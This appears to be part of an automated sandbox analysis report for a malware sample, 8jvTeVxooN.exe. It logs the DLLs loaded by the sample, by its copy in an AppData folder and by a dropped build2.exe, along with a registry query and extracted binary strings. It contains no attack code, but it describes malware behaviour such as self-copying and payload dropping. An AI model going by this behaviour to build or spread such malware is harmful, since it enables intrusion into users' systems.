Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Section loaded: cryptnet.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Section loaded: ncryptsslp.dll

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 8jvTeVxooN.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: 8jvTeVxooN.exe, 00000004.00000003.2306670247.0000000003604000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 8jvTeVxooN.exe, 00000004.00000003.2242287588.0000000003718000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243461413.000000000371B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 8jvTeVxooN.exe, 00000004.00000003.2273926106.0000000003943000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2274502074.000000000396B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 8jvTeVxooN.exe, 00000004.00000003.2340019883.0000000003B04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\c source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ion D source: 8jvTeVxooN.exe, 00000004.00000003.2222827663.000000000314A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\v4.0\ source: 8jvTeVxooN.exe, 00000004.00000003.2262950307.000000000373E000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2260970474.0000000003714000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\v source: 8jvTeVxooN.exe, 00000004.00000003.2340019883.0000000003A74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error\^ source: 8jvTeVxooN.exe, 00000004.00000003.2222509349.0000000003189000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2339577844.0000000003972000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2340019883.0000000003B04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Ea source: 8jvTeVxooN.exe, 00000004.00000003.2261225248.0000000003154000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2262889753.0000000003157000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error\ source: 8jvTeVxooN.exe, 00000004.00000003.2222509349.0000000003189000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 8jvTeVxooN.exe, 00000004.00000003.2330083529.0000000003A84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\* source: 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2343975906.00000000039C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222827663.000000000314A000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\he\\r source: 8jvTeVxooN.exe, 00000004.00000003.2269685051.000000000377F000.00000004.00000020.00020000.00000000.sdmp
